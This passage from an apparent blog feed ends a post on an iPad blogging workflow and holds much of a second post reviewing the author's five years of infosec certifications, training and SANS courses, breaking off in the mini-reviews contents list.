href=&quot;https://www.stratospherix.com/products/filebrowserforbusiness/&quot;&gt;FileBrowser Biz&lt;/a&gt; however is a “pro” app I found which has this functionality (as well as a TON of other file-related functionality).&lt;/p&gt;

&lt;p&gt;The FileBrowser Biz app allows me to create folders and easily upload files to S3 but does not actually expose the link to the file. To get this link, I created an Apple &lt;a href=&quot;https://apps.apple.com/us/app/shortcuts/id1462947752&quot;&gt;Shortcuts&lt;/a&gt; script, chained together with a Python script (executed using the excellent &lt;a href=&quot;http://omz-software.com/pythonista/&quot;&gt;Pythonista&lt;/a&gt; iOS app) to pull down the URL of any S3 object. The Python script leverages the &lt;a href=&quot;https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&quot;&gt;boto3 AWS SDK&lt;/a&gt; for Python. You can get the &lt;a href=&quot;https://www.icloud.com/shortcuts/f121c098f6fc49a3ac7c5143c27da68d&quot;&gt;shortcuts script here&lt;/a&gt; and the &lt;a href=&quot;https://github.com/shellsharks/assorted/blob/master/shellsharks/S3.py&quot;&gt;Python script&lt;/a&gt; via my GitHub.&lt;/p&gt;

&lt;h1 id=&quot;workflow&quot;&gt;Workflow&lt;/h1&gt;

&lt;p&gt;Ok so now that I’ve walked you through the tooling and equipment I use, let’s go over the actual workflow. It’s actually pretty simple from here…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;As I think of ideas, I open 1Writer and add-notes-to or create a new draft post within Dropbox. I’ve connected Dropbox to my 1Writer app so I can easily edit and create files in Dropbox directly from the app.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;When I’m ready to start writing the post “for real”, I clone a &lt;a href=&quot;https://github.com/shellsharks/assorted/blob/master/shellsharks/YEAR-MONTH-DAY-draft-article-name.md&quot;&gt;draft template&lt;/a&gt; within 1Writer and put all content in this new Markdown file.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/blogging-from-ipad/duplicatedraft.png&quot; alt=&quot;Create Draft Template&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I’ll typically have Safari open in the split-view pane so that I can quickly do research, reference another article or get a link to another page.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/blogging-from-ipad/safarisplitview.png&quot; alt=&quot;Safari Split Viewed&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;For any images I want to have in my post, I’ll upload them via the FileBrowser Biz app then use my Shortcuts+Python scripts to get the unique S3 object link. I can reference these directly in my post via Markdown.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/blogging-from-ipad/getobjecturl.png&quot; alt=&quot;Get S3 Object Link&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Once I’m ready to publish the article, I’ll switch to the Working Copy app and commit/push the new file or changes to a file. I then give GitHub pages+Jekyll a minute or so to do its magic and Presto! The post is published.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/blogging-from-ipad/commitfile.png&quot; alt=&quot;Commit via Working Copy&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Pretty simple right?! This makes working on and actually publishing content as frictionless as possible for me which is essential to me actually doing it. Maybe it will even inspire you to start your own blog! Feel free to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;reach out&lt;/a&gt; if you have any questions on getting started or how I might be doing something with respect to Shellsharks.&lt;/p&gt;
</description>
        <pubDate>Mon, 19 Oct 2020 10:50:00 -0400</pubDate>
        <link>https://shellsharks.com/blogging-from-ipad</link>
        <guid isPermaLink="true">https://shellsharks.com/blogging-from-ipad</guid>
        
        <category>blogging</category>
        
        <category>apple</category>
        
        <category>technology</category>
        
        <category>dev</category>
        
        <category>python</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>A 5 Year Infosec Education Retrospective</title>
        <shark:summary><p><em>A look back at 5+ years of infosec training, certifications and completing an entire masters program.</em></p>
</shark:summary>
        <description>&lt;p&gt;&lt;em&gt;A look back at 5+ years of infosec training, certifications and completing an entire masters program.&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;jump-to-section&quot;&gt;Jump to Section&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#my-education-journey&quot;&gt;My Education Journey&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#advicestream&quot;&gt;Assorted Advice&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-certification-or-training-should-i-take&quot;&gt;What Certification Should You Take?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#thoughts-on-sans-training-and-giac-certification-exams&quot;&gt;Thoughts on SANS Trainings and GIAC Exams&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#certification-and-training-mini-reviews&quot;&gt;Certification / Training Mini-Reviews&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#jhu-masters-in-cybersecurity-review&quot;&gt;Johns Hopkins Cybersecurity Masters Review&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;
&lt;p&gt;Cybersecurity (a.k.a. Information Security or “infosec”) is an extremely fast-moving, technical field and one that for many, demands near-constant learning. This makes working in the Cybersecurity field both exciting and &lt;a href=&quot;https://www.tripwire.com/state-of-security/security-awareness/dont-let-analysts-burnout/&quot;&gt;exhausting&lt;/a&gt;. &lt;a href=&quot;https://www.payscale.com/research/US/Job=Information_Security_Analyst/Salary&quot;&gt;Well above average salaries&lt;/a&gt; and an &lt;a href=&quot;https://www.securitymagazine.com/articles/90182-the-cybersecurity-talent-gap-an-industry-crisis&quot;&gt;over-abundance of available jobs&lt;/a&gt; are just &lt;a href=&quot;https://resources.infosecinstitute.com/10-reasons-why-you-should-pursue-a-career-in-information-security/&quot;&gt;two of the compelling reasons&lt;/a&gt; to consider becoming an information security professional. Given the business-critical nature of a security professionals job, these individuals are expected to be highly trained, which (in my experience) typically means certifications, formal training courses and higher education.&lt;/p&gt;

&lt;p&gt;Infosec is in a bit of a golden age with respect to the &lt;a href=&quot;https://shellsharks.com/online-training#title&quot;&gt;incredible amount of trainings&lt;/a&gt;, educational programs and online resources which are available, both free and paid, many of which also come with a certification you can sit for. These resources cover a vast array of information security disciplines (e.g. network security, penetration testing, incident response, compliance, etc…), so it can often be overwhelming for both newcomers and veterans to determine where to focus their time, effort and money with respect to getting the best education. To illustrate this point, hop into &lt;a href=&quot;https://www.reddit.com/r/netsecstudents/&quot;&gt;r/netsecstudents&lt;/a&gt; and it won’t take you long to find post after post asking the same general question - “&lt;em&gt;What certificate/training should I take.&lt;/em&gt;” It’s a valid question and one that I’ve asked myself numerous times over the years. Whether we’re trying to improve our resume or gain some new technical capabilities, this question often remains the same.&lt;/p&gt;

&lt;p&gt;Over the past five years I’ve been fortunate to have been provided a &lt;em&gt;near&lt;/em&gt;-unlimited training budget and have been even more fortunate to have been given the &lt;em&gt;time&lt;/em&gt; (both by my company and my family) to pursue these academic and learning interests. In this time I was able to achieve/complete a &lt;a href=&quot;#certification-and-training-mini-reviews&quot;&gt;plethora of certifications and training&lt;/a&gt; classes as well as start and finish a &lt;a href=&quot;#jhu-masters-in-cybersecurity-review&quot;&gt;Masters degree&lt;/a&gt;. Having recently completed the &lt;a href=&quot;https://ep.jhu.edu/programs/cybersecurity/masters-degree-requirements/&quot;&gt;degree program&lt;/a&gt; as well as having achieved the relatively challenging &lt;a href=&quot;#sec660-advanced-penetration-testing-exploit-writing-and-ethical-hacking-gxpn-sans&quot;&gt;GIAC GXPN&lt;/a&gt; certification, I wanted to take a look back at the last couple years and answer a few questions… &lt;em&gt;Would I do anything differently&lt;/em&gt;? &lt;em&gt;What have I learned&lt;/em&gt;? &lt;em&gt;Will these achievements actually benefit me professionally&lt;/em&gt;? &lt;em&gt;What certifications we’re useful&lt;/em&gt;? I hope that my somewhat unique perspective can help provide guidance to those asking the question, &lt;strong&gt;“What certificate/training should I take?”&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;my-education-journey&quot;&gt;My Education Journey&lt;/h1&gt;

&lt;p&gt;I originally set out to become a developer, attending a four-year university as a computer science major. By the end of my &lt;em&gt;5 year&lt;/em&gt; college run I had switched majors three times, transferred schools and come away not with a CS degree, but with a degree in &lt;strong&gt;information security&lt;/strong&gt;. Degree in hand, I began my search for an entry-level security position but soon found out that the degree alone was not a compelling enough argument. Companies were looking for individuals with &lt;em&gt;experience&lt;/em&gt;, even for entry-level positions - something I just didn’t have. For me, certifications provided a means in which to qualify for positions in the absence of having this experience. Back then, and continuing to this day, a certification (more so than even my 4 year degree!) was enough to put a candidate (like myself) over that lack-of-experience obstacle and in front of some hiring managers. In those early days, I self-paid-for and acquired both the &lt;a href=&quot;https://www.comptia.org/certifications/security&quot;&gt;Security+&lt;/a&gt; and the &lt;a href=&quot;https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/&quot;&gt;CEH&lt;/a&gt; certifications, both of which directly helped land me positions.&lt;/p&gt;

&lt;p&gt;Studying for certifications and attending training requires motivation and an aptitude for the technical intricacies of the field - neither of these are out of reach for most. I certainly had a hunger to learn and the educational background/aptitude to succeed. Given the immediate success of landing positions shortly after having achieved previous certifications, my aim was to seek out other certification opportunities. Unfortunately, certification exams and training courses also (generally) require a good bit of cash. This put many certifications either completely out of reach for me or far enough away that I wasn’t sure the ROI was truly there for me to drop my own money on them. During this time, I bounced around several contract gigs, picking up an assortment of experience, always hoping to land at a company that might be willing to invest in me by way of paying for some trainings/certs.&lt;/p&gt;

&lt;p&gt;After a few years I landed at what is my current place of employment and I finally got my wish - a company able and willing to invest in me. So I took full advantage of it. &lt;a href=&quot;#certification-and-training-mini-reviews&quot;&gt;16+ certifications and countless trainings&lt;/a&gt;… when I wasn’t busy with my day job, I was busy with training. Many days, my day job &lt;em&gt;was&lt;/em&gt; training. I went from one training to the next, one cert to the next, at such a quick pace, I hardly even had time to actually come back, settle in and practice what I had learned. In hindsight, it’s easy to see that I became somewhat addicted to the process. Earlier struggles both finding work in the field and funding a cyber security education gave rise to an insatiable need to learn as much as possible and in parallel, get as many certifications and take as many trainings as possible. Now after these past 5 years, I have plenty of letters, plenty of new skills and some wisdom to share…&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;quick-qa&quot;&gt;Quick Q&amp;amp;A&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Would I have done anything differently?&lt;/strong&gt; If I could do it all over again, I would take much more time after each training/certification to really apply newly acquired skills, seeking to truly and permanently absorb what I had learned. I also would have spent more time trying to figure out specifically what area of security I wanted to specialize in, which would have allowed me to carefully craft a tailored training regimen better suited to helping me achieve a more targeted expertise.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;So what have I learned?&lt;/strong&gt; It’s a strange dichotomy, through the course of taking rapid-fire, high-intensity trainings, I was able to learn A LOT of different things very quickly. A side-effect of this however was me forgetting much more than I wanted of what I had learned! Had I been more committed to letting this information soak in through practice and individual research, I may have developed a more robust expertise across these subjects. With this said, I did learn (and absorb) quite a bit. My main areas of focus were penetration testing, vulnerability research, reverse engineering and what I’ll call “&lt;em&gt;general security&lt;/em&gt;”. To me, general security is a combination of a number of foundational security-relevant disciplines including networking (TCP/IP), web applications, operating systems, etc… Between all of the different trainings and courses, I found there was considerable content overlap. I think where I am strongest technically is in these areas of significant overlap. Learning the same thing multiple times (unsurprisingly!) has the effect of really drilling it into the brain.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Will these achievements actually benefit me professionally?&lt;/strong&gt; This I can’t answer… &lt;strong&gt;yet&lt;/strong&gt;. Since I haven’t looked for a new job in the last five years, I haven’t seen what, if anything, my bundle of certs plus Masters degree would be able to do for me out in the job market. More specifically, I’m unsure if these accolades would be beneficial in helping me get to &lt;em&gt;my&lt;/em&gt; next step, whatever that might be. What I can say is that with each new certification, there is a potential new door that could open (for jobs looking for that specific certification). Though there is certainly diminishing returns with each new cert on a single resume, I have found that recruiters and hiring managers are typically impressed when you have a multitude of them to showcase. I have definitely received many emails from recruiters saying they are very impressed with my certifications and overall experience. So time will tell if they will actually make a difference in any future job searches! At least I can take comfort in knowing my resume will match plenty of certification-related, resume-sourcing keyword searches.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;What certifications have proved useful?&lt;/strong&gt; I’ll answer this in more detail in the &lt;a href=&quot;#certification-and-training-mini-reviews&quot;&gt;Certification and Training Mini-Reviews&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;What certification/training should I take?&lt;/strong&gt; I’ll get into this in more detail in the section &lt;a href=&quot;#what-certification-or-training-should-i-take&quot;&gt;What certification/training should I take?&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;advicestream&quot;&gt;Advicestream&lt;/h2&gt;

&lt;p&gt;Here is my non-contiguous, random collection of certification/training-related advice/musings…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Studying for / taking certification exams and taking training courses requires &lt;strong&gt;time&lt;/strong&gt;, &lt;strong&gt;money&lt;/strong&gt; and &lt;strong&gt;effort/motivation&lt;/strong&gt;. Keep this in mind when approaching any potential cert/training. Make sure you have all three in place before committing to any course/certification.&lt;/li&gt;
  &lt;li&gt;It’s hard to put a price tag on that first cert. For those who are having trouble breaking into the field, a certification may be what tips the scale in your favor. In this case, even an expensive cert (for example, a &lt;a href=&quot;https://www.sans.org/&quot;&gt;SANS&lt;/a&gt; certification) could in-fact pay off quickly if it helps you land that relatively high-paying junior &lt;a href=&quot;https://www.linkedin.com/salary/information-security-engineer-salaries-in-united-states&quot;&gt;infosec engineer role&lt;/a&gt;. Given the high demand for qualified individuals, even entry-level positions can command &lt;a href=&quot;https://www.indeed.com/salaries/junior-cyber-security-analyst-Salaries&quot;&gt;impressive salaries&lt;/a&gt;. With respect to certifications specifically, my recommendation for those looking for that breakout role is to research positions that are of interest to you, see what certifications they are expecting (or mandating) that you have, and then figure out how to get it.&lt;/li&gt;
  &lt;li&gt;Focus on the &lt;em&gt;journey&lt;/em&gt;. A certification is nothing more than a piece of paper or a couple of letters behind your name. What matters most is the skills and knowledge you gain while prepping/training for that cert. Take your time to truly understand the material, acquire a solid foundation of knowledge, one that you can build on top of as you become more advanced. Focusing on simply passing a test rather than just understanding the material will hurt you in the long run.&lt;/li&gt;
  &lt;li&gt;…on the thread of “understanding the material”, I have a note for those fortunate enough to take a SANS exam (or similarly “open book” exam): A common recommendation for SANS exams (&lt;a href=&quot;https://www.sans.org/security-awareness-training/blog/3-tips-successfully-prepare-ssap-exam&quot;&gt;even from SANS themselves&lt;/a&gt;) is to &lt;a href=&quot;https://tisiphone.net/2015/08/18/giac-testing/&quot;&gt;create an index&lt;/a&gt;. &lt;strong&gt;I don’t recommend this&lt;/strong&gt;. Now i understand people have different test-taking strategies and some people are just innately better at “taking tests” than others, but I think indexing encourages not really understanding the material, but rather, promotes just searching for the answer come test time. Yes, this may make getting the cert easier, and if that is your goal then so be it! But I urge those who are also interested in retaining the material to not create an index, and in that way, when studying, they aim for a better, more robust understanding. With this said, my personal strategy (I’ve never created an “index”), is to use the little sticky post-its that SANS provides to mark the different chapters/sections of the book (as well as any other potentially information-dense areas of the books). In this way, you can still quickly flip to a section of the course material during the test (or when studying!) to help with recalling certain information.&lt;/li&gt;
  &lt;li&gt;It’s worth reiterating here, albeit in a different way, &lt;strong&gt;take your time&lt;/strong&gt;. Focus on the material, attempt to gain true comprehension and don’t seek to just memorize certain data points needed to pass the test. Pay very close attention to the &lt;em&gt;boring&lt;/em&gt; stuff. Infosec is a broad field with many disciplines but the core concepts of security, networking, computing, etc…. are shared amongst all of these. This means having a very thorough understanding of the basics will help you excel in all areas of security, from compliance to penetration testing.&lt;/li&gt;
  &lt;li&gt;Government contract roles (which may be more numerous in certain locales) often look for &lt;a href=&quot;https://public.cyber.mil/cw/cwmp/dod-approved-8570-baseline-certifications/&quot;&gt;specific certifications&lt;/a&gt;. Obtaining one of these certs is an easy way to immediately qualify for these positions.&lt;/li&gt;
  &lt;li&gt;Don’t depend too much on certifications. Yes, a certification &lt;em&gt;may&lt;/em&gt; be able to help you qualify for a job or get your foot in the door for an interview but often it only goes that far. Your peers will likely not think more of you, your boss will likely not promote you, the work itself will not become easier all by merely getting a certification. Focus on what you can &lt;em&gt;learn&lt;/em&gt;, the cert is just a bonus.&lt;/li&gt;
  &lt;li&gt;Experience has been and will remain king with respect to “proving” your abilities to a prospective employer. Certifications however, can certainly help a candidate get a foot in the door for an interview or even uniquely qualify them for a role that may explicitly require a specific certification.&lt;/li&gt;
  &lt;li&gt;Certs, trainings, degrees… ultimately, they serve one of two distinct purposes (in my opinion). Bolstering a resume and acquiring knowledge/increasing skills. Remember this when thinking about what you want to pursue next!&lt;/li&gt;
  &lt;li&gt;Find a way to expand on what you learned during the course of studying for a certification or attending a training by doing your own independent research. At the point where you feel you really understand the material, you can then run off and sign up for the next thing.&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-certification-or-training-should-i-take&quot;&gt;What Certification or Training Should I Take?&lt;/h2&gt;
&lt;p&gt;Ok, so let’s try to answer this primary question. Let’s approach the answer based on where someone might be in their career or job search. Choose the scenario below which best describes your current standing…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;You’re new to Information Security and are looking to get a job&lt;/strong&gt;: Do some research on what certifications (if any) the jobs you’d be interested in are asking for. (Try popular job search websites like &lt;a href=&quot;https://www.monster.com/&quot;&gt;Monster&lt;/a&gt;, &lt;a href=&quot;https://www.linkedin.com/&quot;&gt;Linkedin&lt;/a&gt; and &lt;a href=&quot;https://www.indeed.com/hire/sem-haj-dual&quot;&gt;Indeed&lt;/a&gt;, to name a few). Where you find some certification requirement commonality amongst these job reqs, take a look at how you can get that specific cert. If the training, or exam voucher is expensive, take a look at what salary you may expect provided you get the job and calculate your return on investment. You may find that investing in yourself by paying for the cert can pay off in a big way. This methodology is more relevant for junior positions as the certification can stand in place of the lack of professional experience as it &lt;a href=&quot;#my-education-journey&quot;&gt;did for me&lt;/a&gt; in my early professional career.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;You are currently in a junior role and are looking to advance&lt;/strong&gt;: I’d recommend a similar approach as above, with the tweak that you will likely be targeting a more advanced certification. Keep in mind though that at this point, unless the job you are looking at is contractually-obligated to supply personnel with certain certifications, it is less likely that a certificate is really what you need to &lt;em&gt;get into&lt;/em&gt; your next role. Rather, focus more on the experience that is being asked for on the job req you are interested in. If getting a certification can help you obtain that specific experience, then great! Two birds with one stone.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;You are a mid-level or senior security professional and are looking to add valuable skills to your resume&lt;/strong&gt;:  Focus on practical certifications and training that can get you to “expert” level within a specific knowledge area you may already have some expertise in or that can fill an important gap in your overall knowledge. Keep in mind, there’s &lt;a href=&quot;https://shellsharks.com/online-training#title&quot;&gt;plenty of free and paid training&lt;/a&gt; out there to help you get there, so don’t immediately default to trying to pay for some expensive certification or training. Do some research and then get learning! Some “domains” to keep in mind would be web applications, programming/development, cloud, networking, and incident response. I think focusing more on &lt;em&gt;experience&lt;/em&gt; you need rather than some certification is more appropriate in this scenario.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;You’re interested in getting into penetration testing&lt;/strong&gt;: Information security as a profession is made up of a lot of unique sub-disciplines. &lt;a href=&quot;https://www.rapid7.com/fundamentals/penetration-testing/&quot;&gt;Penetration testing&lt;/a&gt; (a.k.a. “Pentesting”) happens to be one of the more popular aspirations for those entering the field, even though penetration testers as a whole make up only a small fraction of the infosec community. For those interested in infosec, don’t immediately think that pentesting is what is right for you or that it’s the only interesting option. Take your time to research everything else you can do in infosec before committing to the pentest path. However, for those that are truly interested, I highly recommend taking a look at the &lt;a href=&quot;https://www.offensive-security.com/pwk-oscp/&quot;&gt;PWK/OSCP&lt;/a&gt; from &lt;a href=&quot;https://www.offensive-security.com/&quot;&gt;Offensive Security&lt;/a&gt; and/or the &lt;a href=&quot;https://www.elearnsecurity.com/course/penetration_testing/&quot;&gt;PTP&lt;/a&gt; from &lt;a href=&quot;https://www.elearnsecurity.com/&quot;&gt;eLearnSecurity&lt;/a&gt;. Both are practical, lab-based, hands-on certifications with a LOT of good training material. Once completing either of those, I’d recommend checking out the other, more advanced trainings/certs offered by both Offensive Security and eLearnSecurity. For more info, please check out my reviews for both the &lt;a href=&quot;#offensive-security-certified-professional-oscp&quot;&gt;PWK/OSCP&lt;/a&gt; and &lt;a href=&quot;#penetration-testing-professional-ecppt-elearnsecurity&quot;&gt;PTP&lt;/a&gt; courses.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;You aren’t sure what security discipline are you interested in yet&lt;/strong&gt;: I’d reference my initial advice here. If you want a job in infosec go take a look at what certs are being asked for within the job reqs you are interested in. Otherwise, I probably wouldn’t throw money at a random cert (yet!). I also have a guide for those interested in &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#title&quot;&gt;getting into the field&lt;/a&gt;! If you aren’t sure exactly where you want to go, then don’t sweat it! Get a job anywhere in the infosec field (where you can), and try it out. Maybe you get a SIOC position or a compliance position and do that for a few months. If it’s interesting, pursue it further, if not, pivot somewhere else in the field. A lot of what you’ll learn in one infosec sub-discipline transfers very nicely to any other role in infosec. Finally, feel free to check out my &lt;a href=&quot;#certification-and-training-mini-reviews&quot;&gt;series of mini-reviews&lt;/a&gt; covering a large assortment of popular certification/trainings I have personally taken.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;None of these apply and you’re just interested in taking something new&lt;/strong&gt;: If none of the scenarios really apply to you then maybe peruse my &lt;a href=&quot;#certification-and-training-mini-reviews&quot;&gt;series of certification/training mini-reviews&lt;/a&gt;, take a look at the vast collection of &lt;a href=&quot;https://shellsharks.com/online-training#title&quot;&gt;online education resources&lt;/a&gt; or even &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;reach out to me&lt;/a&gt; for more personalized recommendations!&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;thoughts-on-sans-training-and-giac-certification-exams&quot;&gt;Thoughts on SANS Training and GIAC Certification Exams&lt;/h1&gt;
&lt;p&gt;Given the overwhelming popularity and industry mind-share that this organization, as a security training provider has, coupled with the breadth/depth of experience I have taking their classes and acquiring their certifications, I wanted to take some time to share my perspective on &lt;a href=&quot;https://www.sans.org/&quot;&gt;SANS&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I’ll start by saying I have &lt;em&gt;mixed feelings&lt;/em&gt; overall on SANS. I think their course material is top-notch, their &lt;a href=&quot;https://www.sans.org/profiles/instructors/&quot;&gt;instructors&lt;/a&gt; are world-class, industry-leaders and their network and reach (in terms of how well-known they are) is basically unrivaled. &lt;em&gt;But&lt;/em&gt;… they are simply too expensive of an option for most individuals paying out-of-pocket. Secondly, I believe that a sizable majority of the material provided in any given SANS training course is accessible (in some way) online, for free. You need only an Internet connection and the desire to do some research yourself to find it. If not immediately available online you can often find the material in a book or blog post or even a github repo likely also written by the author themselves! So what you are paying for isn’t necessarily the material (which again, is likely available open-source), rather you pay for by signing up for a SANS course is the convenience and the delivery format. From how I see things, the &lt;em&gt;ingredients&lt;/em&gt; are all readily available. I compare SANS to going to a fancy restaurant and having a world-class chef prepare a meal for you - one you could have made with those same ingredients at home. With some practice, and most if not all of the same ingredients at your disposal, you too can feed your mind the same dish.&lt;/p&gt;

&lt;p&gt;Before I get into exactly &lt;em&gt;how&lt;/em&gt; I would recommend you go about giving yourself a SANS education without ever attending a SANS course, let me qualify what I said above with two important points…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt;, if you get the chance to attend a SANS course, paid-for by your employer, absolutely take them up on this offer. Though I do think in many cases you can replicate SANS course content with free or cheap resources online, actually attending a SANS course is an amazing opportunity and can provide the following…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Learn the material in a quicker, more direct fashion.&lt;/li&gt;
  &lt;li&gt;Get immediate help on advanced topics from an industry expert. This can help you get over learning roadblocks faster than you may have otherwise been able to on your own.&lt;/li&gt;
  &lt;li&gt;Network with like-minded individuals in your field as well as expert instructors.&lt;/li&gt;
  &lt;li&gt;Obtain a certification that is highly regarded in the field and could help you with future job searches.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Second&lt;/strong&gt;, though it is becoming harder to recommend due to increasing cost (now $2500, where as only a year or two ago it was closer to $1000), participating in a SANS &lt;a href=&quot;https://www.sans.org/work-study/&quot;&gt;work study&lt;/a&gt; can give someone an avenue to attending a SANS training for much cheaper than the normal price (which is over $7000 and can even exceed $8000 after bundling the certification, on-demand materials, etc…). I’ve facilitated on 4 separate occasions and can tell you that overall, it’s a pretty easy gig! You’re asked to assist with conference setup/teardown as well as some light operational tasking throughout each day (mainly fetching stuff for the instructor if needed and collecting the notorious daily SANS surveys). I think even at the new price, it is still (albeit barely) a decent value, especially for those who are maybe looking for that first cert. As a “first cert” possibility, I think SANS is one of the best options for a candidate to make themselves stand out with respect to getting an entry-level position.&lt;/p&gt;

&lt;p&gt;Ok, so let’s say your employer won’t shell out the cash for a SANS training and you can’t either (nor have you had success getting into the work study). How can you give yourself a SANS-equivalent education yourself? Here’s what I would do…&lt;/p&gt;

&lt;p&gt;First, figure out what you’re interested in via their &lt;a href=&quot;https://www.sans.org/cyber-security-skills-roadmap?msc=course-list-lp&quot;&gt;Cyber Security Skills Roadmap&lt;/a&gt;. Figure out where you are technically or where you’d like to be and pick out the certification that is next in your &lt;em&gt;path&lt;/em&gt;. Next, find the “Course Syllabus” for the chosen course, for example, &lt;a href=&quot;https://www.sans.org/cyber-security-courses/network-penetration-testing-ethical-hacking/&quot;&gt;SEC560: Network Penetration Testing and Ethical Hacking&lt;/a&gt;. On this page, you can scroll down to the “Syllabus” section and see a relatively in-depth description of the topics covered during each day of the training for that course. Using this syllabus, you can build your own self-paced, self-taught curriculum, for free (or at-least on the cheap), online! Just google each topic and hunt for trainings/free content online related to that topic. I promise there is much more than you might think and you can find quite a bit of success with this method. This will require some determination, and is certainly more of a &lt;a href=&quot;https://www.offensive-security.com/offsec/say-try-harder/&quot;&gt;“Try Harder”&lt;/a&gt; (more on this in a bit) approach, but where money is short, I believe you can make up for it in this way. If you’re having trouble finding resources online, check out my &lt;a href=&quot;https://shellsharks.com/online-training#title&quot;&gt;list of education resources&lt;/a&gt;!&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;certification-and-training-mini-reviews&quot;&gt;Certification and Training Mini-Reviews&lt;/h1&gt;

&lt;p&gt;Having taken and completed each of the trainings/certifications below, I wanted to provide a quick “review” of what I thought of each course. The reviews aren’t meant to summarize what is covered in these courses but rather give my thoughts on the value of each as well as recommendations or advice for those potentially interested in taking them. These are point-in-time assessments and as such can not reflect any updates to the material since the time I took it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mini-Reviews Table of Contents&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#tenable-certified-security-engineer-tcse-tenable&quot;&gt;Tenable Certified Security Engineer (TCSE), Tenable&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#core-impact-certified-professional-cicp-core-security&quot;&gt;Core Impact Certified Professional (CICP), Core Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec560-network-penetration-testing-and-ethical-hacking-gpen-sans&quot;&gt;SEC560: Network Penetration Testing and Ethical Hacking (GPEN), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#certified-information-system-security-professional-cissp-isc2&quot;&gt;Certified Information System Security Professional (CISSP), ISC2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#penetration-testing-student-ejpt-elearnsecurity&quot;&gt;Penetration Testing Student (eJPT), eLearnSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#penetration-testing-professional-ecppt-elearnsecurity&quot;&gt;Penetration Testing Professional (eCPPT), eLearnSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec503-intrusion-detection-in-depth-gcia-sans&quot;&gt;SEC503: Intrusion Detection In-Depth (GCIA), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec573-automating-information-security-with-python-gpyc-sans&quot;&gt;SEC573: Automating Information Security with Python (GPYC), SANS&lt;/a&gt;&lt;/li&gt;
